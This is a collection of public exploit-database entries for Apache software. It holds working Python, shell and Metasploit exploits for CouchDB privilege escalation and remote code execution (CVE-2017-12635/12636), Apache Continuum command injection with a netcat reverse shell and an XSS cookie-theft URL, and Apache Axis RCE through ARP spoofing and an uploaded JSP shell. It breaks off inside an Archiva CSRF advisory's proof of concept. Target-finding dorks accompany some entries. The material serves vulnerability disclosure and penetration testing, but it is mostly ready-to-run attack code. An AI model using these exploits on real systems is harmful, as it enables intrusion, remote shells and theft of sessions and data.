Issue is the 'C' flag (Change) for 'Authenticated Users' group.


e.g.

c:\CouchDB>cacls * | findstr Users

               BUILTIN\Users:(OI)(CI)(ID)R
               NT AUTHORITY\Authenticated Users:(ID)C
               NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
                BUILTIN\Users:(OI)(CI)(ID)R
                NT AUTHORITY\Authenticated Users:(ID)C
                NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
                    BUILTIN\Users:(OI)(CI)(ID)R
                    NT AUTHORITY\Authenticated Users:(ID)C
                    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C



c:\CouchDB>sc qc "Apache CouchDB"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Apache CouchDB
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\CouchDB\bin\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Apache CouchDB
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem




Exploitation Technique:
=======================
Local



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
#!/usr/bin/env python

'''
@author:        r4wd3r
@license:       MIT License
@contact:       r4wd3r@gmail.com
'''

import argparse
import re
import sys
import requests

parser = argparse.ArgumentParser(
    description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
    ' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
                    type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
                    type=str, default='couchapass')
args = parser.parse_args()

host = args.host
port = args.port
user = args.user
password = args.password

pat_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
if not pat_ip.match(host):
    print "[x] Wrong host. Must be a valid IP address."
    sys.exit(1)

print "[+] User to create: " + user
print "[+] Password: " + password
print "[+] Attacking host " + host + " on port " + port

url = 'http://' + host + ':' + port

try:
    rtest = requests.get(url, timeout=10)
except requests.exceptions.Timeout:
    print "[x] Server is taking too long to answer. Exiting."
    sys.exit(1)
except requests.ConnectionError:
    print "[x] Unable to connect to the remote host."
    sys.exit(1)

# Payload for creating user
cu_url_payload = url + "/_users/org.couchdb.user:" + user
cu_data_payload = '{"type": "user", "name": "'+user+'", "roles": ["_admin"], "roles": [], "password": "'+password+'"}'

try:
    rcu = requests.put(cu_url_payload, data=cu_data_payload)
except requests.exceptions.HTTPError:
    print "[x] ERROR: Unable to create the user on remote host."
    sys.exit(1)

if rcu.status_code == 201:
    print "[+] User " + user + " with password " + password + " successfully created."
    sys.exit(0)
else:
    print "[x] ERROR " + str(rcu.status_code) + ": Unable to create the user on remote host."
            
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References: 
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/

# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984

#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys

def getVersion():
    version = requests.get(args.host).json()["version"]
    return version

def error(message):
    print(message)
    sys.exit(1)

def exploit(version):
    with requests.session() as session:
        session.headers = {"Content-Type": "application/json"}

        # Exploit privilege escalation
        if args.priv:
            try:
                payload = '{"type": "user", "name": "'
                payload += args.user
                payload += '", "roles": ["_admin"], "roles": [],'
                payload += '"password": "' + args.password + '"}'

                pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user,
                    data=payload)

                print("[+] User " + args.user + " with password " + args.password + " successfully created.")
            except requests.exceptions.HTTPError:
                error("[-] Unable to create the user on remote host.")

        session.auth = HTTPBasicAuth(args.user, args.password)

        # Create payload
        try:
            if version == 1:
                session.put(args.host + "/_config/query_servers/cmd",
                        data='"' + args.cmd + '"')
                print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd")
            else:
                host = session.get(args.host + "/_membership").json()["all_nodes"][0]
                session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd",
                        data='"' + args.cmd + '"')
                print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd")
        except requests.exceptions.HTTPError as e:
            error("[-] Unable to create command payload: " + e)

        try:
            session.put(args.host + "/god")
            session.put(args.host + "/god/zero", data='{"_id": "HTP"}')
        except requests.exceptions.HTTPError:
            error("[-] Unable to create database.")

        # Execute payload
        try:
            if version == 1:
                session.post(args.host + "/god/_temp_view?limit=10",
                        data='{"language": "cmd", "map": ""}')
            else:
                session.post(args.host + "/god/_design/zero",
                        data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}')
            print("[+] Command executed: " + args.cmd)
        except requests.exceptions.HTTPError:
            error("[-] Unable to execute payload.")

        print("[*] Cleaning up.")

        # Cleanup database
        try:
            session.delete(args.host + "/god")
        except requests.exceptions.HTTPError:
            error("[-] Unable to remove database.")

        # Cleanup payload
        try:
            if version == 1:
                session.delete(args.host + "/_config/query_servers/cmd")
            else:
                host = session.get(args.host + "/_membership").json()["all_nodes"][0]
                session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd")
        except requests.exceptions.HTTPError:
            error("[-] Unable to remove payload.")

def main():
    version = getVersion()
    print("[*] Detected CouchDB Version " + version)
    vv = version.replace(".", "")
    v = int(version[0])
    if v == 1 and int(vv) <= 170:
        exploit(v)
    elif v == 2 and int(vv) < 211:
        exploit(v)
    else:
        print("[-] Version " + version + " not vulnerable.")
        sys.exit(0)

if __name__ == "__main__":
    ap = argparse.ArgumentParser(
            description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)")
    ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).")
    ap.add_argument("-c", "--cmd", help="Command to run.")
    ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).",
        action="store_true")
    ap.add_argument("-u", "--user", help="Admin username (Default: guest).",
            default="guest")
    ap.add_argument("-p", "--password", help="Admin password (Default: guest).",
            default="guest")
    args = ap.parse_args()
    main()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache CouchDB Arbitrary Command Execution',
      'Description'    => %q{
        CouchDB administrative users can configure the database server via HTTP(S).
        Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
        This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
        including downloading and executing scripts from the public internet.
      },
      'Author' => [
        'Max Justicz',                       # CVE-2017-12635 Vulnerability discovery
        'Joan Touzet',                       # CVE-2017-12636 Vulnerability discovery
        'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
      ],
      'References' => [
        ['CVE', '2017-12636'],
        ['CVE', '2017-12635'],
        ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
        ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
        ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
      ],
      'DisclosureDate' => 'Apr 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
        'CMDSTAGER::FLAVOR' => 'curl'
      },
      'CmdStagerFlavor' => ['curl', 'wget'],
      'Targets' => [
        ['Automatic',                  {}],
        ['Apache CouchDB version 1.x', {}],
        ['Apache CouchDB version 2.x', {}]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      Opt::RPORT(5984),
      OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
      OptString.new('HttpUsername', [false, 'The username to login as']),
      OptString.new('HttpPassword', [false, 'The password to login with'])
    ])

    register_advanced_options([
      OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
      OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
    ])
  end

  def check
    get_version
    version = Gem::Version.new(@version)
    return CheckCode::Unknown if version.version.empty?
    vprint_status "Found CouchDB version #{version}"

    return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))

    CheckCode::Safe
  end

  def exploit
    fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
    version = @version

    vprint_good("#{peer} - Authorization bypass successful") if auth_bypass

    print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
    @cmdstager = generate_cmdstager(
      temp: datastore['WritableDir'],
      file: File.basename(cmdstager_path)
    ).join(';')

    register_file_for_cleanup(cmdstager_path)

    if !datastore['Attempts'] || datastore['Attempts'] <= 0
      attempts = 1
    else
      attempts = datastore['Attempts']
    end

    attempts.times do |i|
      print_status("#{peer} - The #{i + 1} time to exploit")
      send_payload(version)
      Rex.sleep(5)
      # break if we get the shell
      break if session_created?
    end
  end

  # CVE-2017-12635
  # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
  # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
  # for the newly created user.
  def auth_bypass
    username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
    password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
    @auth = basic_auth(username, password)

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
      'method'        => 'PUT',
      'ctype'         => 'application/json',
      'data'          => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
    )

    if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
      return true
    else
      return false
    end
  end

  def get_version
    @version = nil

    begin
      res = send_request_cgi(
        'uri'           => normalize_uri(target_uri.path),
        'method'        => 'GET',
        'authorization' => @auth
      )
    rescue Rex::ConnectionError
      vprint_bad("#{peer} - Connection failed")
      return false
    end

    unless res
      vprint_bad("#{peer} - No response, check if it is CouchDB. ")
      return false
    end

    if res && res.code == 401
      print_bad("#{peer} - Authentication required.")
      return false
    end

    if res && res.code == 200
      res_json = res.get_json_document

      if res_json.empty?
        vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
        return false
      end

      @version = res_json['version'] if res_json['version']
      return true
    end

    vprint_warning("#{peer} - Version not found")
    return true
  end

  def send_payload(version)
    vprint_status("#{peer} - CouchDB version is #{version}") if version

    version = Gem::Version.new(@version)
    if version.version.empty?
      vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
      # if target set Automatic, exploit failed.
      if target == targets[0]
        fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
      elsif target == targets[1]
        payload1
      elsif target == targets[2]
        payload2
      end
    elsif version < Gem::Version.new('1.7.0')
      payload1
    elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
      payload2
    elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
      fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
    end
  end

  # Exploit with multi requests
  # payload1 is for the version of couchdb below 1.7.0
  def payload1
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
    rand_hex = Rex::Text.rand_text_hex(32)
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

    register_file_for_cleanup(rand_file)

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
      'method'        => 'PUT',
      'authorization' => @auth
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %({"_id": "#{rand_hex}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
      'method'        => 'POST',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"language":"#{rand_cmd1}","map":""})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("/bin/sh #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
      'method'        => 'POST',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"language":"#{rand_cmd2}","map":""})
    )
  end

  # payload2 is for the version of couchdb below 2.1.1
  def payload2
    rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
    rand_db = Rex::Text.rand_text_alpha_lower(4..12)
    rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
    rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
    rand_hex = Rex::Text.rand_text_hex(32)
    rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"

    register_file_for_cleanup(rand_file)

    res = send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_membership"),
      'method'        => 'GET',
      'authorization' => @auth
    )

    node = res.get_json_document['all_nodes'][0]

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("echo '#{@cmdstager}' > #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}"),
      'method'        => 'PUT',
      'authorization' => @auth
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %({"_id": "#{rand_hex}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'data'          => %("/bin/sh #{rand_file}")
    )

    send_request_cgi(
      'uri'           => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
      'method'        => 'PUT',
      'authorization' => @auth,
      'ctype'         => 'application/json',
      'data'          => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
    )
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
  end

end
            
# Exploit Title: Unauthenticated command injection - Apache Continuum
# Google Dork: inurl::8080/continuum/
# Date: 04/06/2016
# Exploit Author: David Shanahan (@cyberpunksec)
# Contact: http://www.procheckup.com/
# Vendor Homepage: https://continuum.apache.org/
# Software Link: https://continuum.apache.org/download.cgi
# Version: 1.4.2
# Tested on: Debian

--- Description ---

Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/
ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.

1) Command injection

Vulnerable URL - http://127.0.0.1:8080/continuum/saveInstallation.action

Vulnerable Parameter - installation.varValue

#!/bin/sh

if [ $# -eq 0 ]
    then
	echo "$0 <rhost> <rport> <lhost> <lport>"
	echo "Remember to set up your netcat listener"
	exit 1
fi

cmd="\`nc $3 $4 -e /bin/sh\`"

echo "\n\t[ Apache Continuum <= v1.4.2 CMD Injection ]"
echo "\t\t[ Procheckup - David Shanahan	]\n"
curl http://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"


2) Reflected XSS

The cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.
If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.

Vulnerable URL - http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest<script>alert(document.cookie)</script>&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel<http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdminPassword=&username=guest&user.username=guest%3cscript%3ealert(document.cookie)%3c/script%3e&user.fullName=Guest&user.email=blah@procheckup.com&user.password=password&user.confirmPassword=password&user.timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdminPassword=Submit&cancel=Cancel>

Fix:
The Apache Continuum project is no longer maintained. Removal of the software is recommended.

http://www.procheckup.com/
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Continuum Arbitrary Command Execution',
      'Description'    => %q{
        This module exploits a command injection in Apache Continuum <= 1.4.2.
        By injecting a command into the installation.varValue POST parameter to
        /continuum/saveInstallation.action, a shell can be spawned.
      },
      'Author'         => [
        'David Shanahan', # Proof of concept
        'wvu'             # Metasploit module
      ],
      'References'     => [
        %w{EDB 39886}
      ],
      'DisclosureDate' => 'Apr 6 2016',
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X86_64],
      'Privileged'     => false,
      'Targets'        => [
        ['Apache Continuum <= 1.4.2', {}]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/continuum/about.action'
    )

    if res && res.body.include?('1.4.2')
      CheckCode::Appears
    elsif res && res.code == 200
      CheckCode::Detected
    else
      CheckCode::Safe
    end
  end

  def exploit
    print_status('Injecting CmdStager payload...')
    execute_cmdstager(flavor: :bourne)
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/continuum/saveInstallation.action',
      'vars_post' => {
        'installation.name'     => Rex::Text.rand_text_alpha(8),
        'installation.type'     => 'jdk',
        'installation.varValue' => '`' + cmd + '`'
      }
    )
  end

end
            
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#	Apache Axis 1.4 Remote Code Execution CVE-2019-0227                                             #
#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis  #
#	Author: David Yesland @daveysec, Rhino Security Labs				                #
#	This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM                  #
#	by forcing an http request using the default StockQuoteService.jws service.                     #
#       You need to be on the same network as the Axis server to make this work.                        #
#	A lot of this exploit is based on the research from:                                            #
#	https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce                                      #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

import SimpleHTTPServer
import SocketServer
import subprocess
from time import sleep
import thread
import requests
from urllib import quote_plus
import sys

#Usage: python CVE-2019-0227.py shell.jsp

#You need to change these variable to match your configuration
myip = "192.168.0.117" #IP of your machine
target = "192.168.0.102" #IP of target
gateway = "192.168.0.1" #default gateway
targetport = "8080" #Port of target running axis (probably 8080)
pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default
spoofinterface = "eth0" #Interface for arpspoofing
jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload

#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22'+quote_plus(jspwritepath)+'%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment'

#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=%21--%3E%3Cns1%3Aundeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22%2F%3E%3C%2Fns1%3Aundeployment'


def CreateJsp(pathtoaxis,jsppayload):
    url = pathtoaxis+"/services/exploitservice"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "something", "Content-Type": "text/xml;charset=UTF-8"}
    data="<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n        <soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n        xmlns:api=\"http://127.0.0.1/Integrics/Enswitch/API\"\r\n        xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\r\n        xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n        <soapenv:Body>\r\n        <api:main\r\n        soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n            <api:in0><![CDATA[\r\n"+jsppayload+"\r\n]]>\r\n            </api:in0>\r\n        </api:main>\r\n  </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)

def TriggerSSRF(pathtoaxis):
    url = pathtoaxis+"/StockQuoteService.jws"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8"}
    data="<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:def=\"http://DefaultNamespace\">\r\n   <soapenv:Header/>\r\n   <soapenv:Body>\r\n      <def:getQuote soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\r\n         <symbol xsi:type=\"xsd:string\">dwas</symbol>\r\n      </def:getQuote>\r\n   </soapenv:Body>\r\n</soapenv:Envelope>"
    requests.post(url, headers=headers, data=data)


def StartMitm(interface,target,gateway):
	subprocess.Popen("echo 1 > /proc/sys/net/ipv4/ip_forward",shell=True)#Enable forwarding
	subprocess.Popen("arpspoof -i {} -t {} {}".format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -> gateway
	subprocess.Popen("iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)#use iptable to redirect back to our web server


def KillMitm(target,myip):
	subprocess.Popen("pkill arpspoof",shell=True)
	subprocess.Popen("echo 0 > /proc/sys/net/ipv4/ip_forward",shell=True)
	subprocess.Popen("iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}".format(myip),shell=True)


def SSRFRedirect(new_path):
	class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
	   def do_GET(self):
	       self.send_response(301)
	       self.send_header('Location', new_path)
	       self.end_headers()
	PORT = 80
	SocketServer.TCPServer.allow_reuse_address = True
	handler = SocketServer.TCPServer(("", PORT), myHandler)
	print "[+] Waiting to redirect"
	handler.handle_request()
	print "[+] Payload URL sent"


def ExecuteJsp(pathtoaxis):
	subprocess.Popen("curl "+pathtoaxis+"/exploit.jsp",shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print "[+] Starting MITM"
StartMitm(spoofinterface,target,gateway)
sleep(2)

print "[+] Starting web server for SSRF"
thread.start_new_thread(SSRFRedirect,(deployurl,))

print "[+] Using StockQuoteService.jws to trigger SSRF"
TriggerSSRF(pathtoaxis)
print "[+] Waiting 3 seconds for incoming request"
sleep(3)

print "[+] Writing JSP payload"
CreateJsp(pathtoaxis,payloadfile)

print "[+] Cleaning up exploit service"
thread.start_new_thread(SSRFRedirect,(undeployurl,))
TriggerSSRF(pathtoaxis)

print "[+] Cleaning up man in the middle"
KillMitm(target,myip)

print "[+] Waiting 2 seconds for JSP write"
sleep(2)
ExecuteJsp(pathtoaxis)

print "[+] Default URL to the jsp payload:"
print pathtoaxis+"/exploit.jsp"
            
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Apache Archiva
Vendor URL:     https://archiva.apache.org
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2016-05-31
Date published: 2016-07-11
CVSSv3 Score:   5.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
CVE:            CVE-2016-4469


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Apache Archiva v1.3.9
older versions may be affected too.


4. INTRODUCTION
===============
Apache Archiva is an extensible repository management software that helps
taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application basically offers a Cross-Site Request Forgery protection
using the a Struts-based token called "token". While many administrative
functionalities like adding new users are protected on this way, the
following HTTP POST-based functions are missing this token and are
therefore vulnerable to CSRF:

Adding new repository proxy connectors:
/archiva/admin/addProxyConnector_commit.action

Adding new repositories:
/archiva/admin/addRepository_commit.action

Editing existing repositories:
/archiva/admin/editRepository_commit.action

Adding legacy artifact paths:
/archiva/admin/addLegacyArtifactPath_commit.action

Changing the organizational appearance:
/archiva/admin/saveAppearance.action

Uploading new artifacts:
/archiva/upload_submit.action


The following Proof-of-Concept triggers this vulnerability and adds a new
proxy connector called "CSRF":


<html>
  <body>
    <form
action="http://localhost:8080/archiva/admin/addProxyConnector_commit.action"
method="POST">
      <input type="hidden" name="pattern" value="" />
      <input type="hidden" name="connector&#46;order" value="0" />
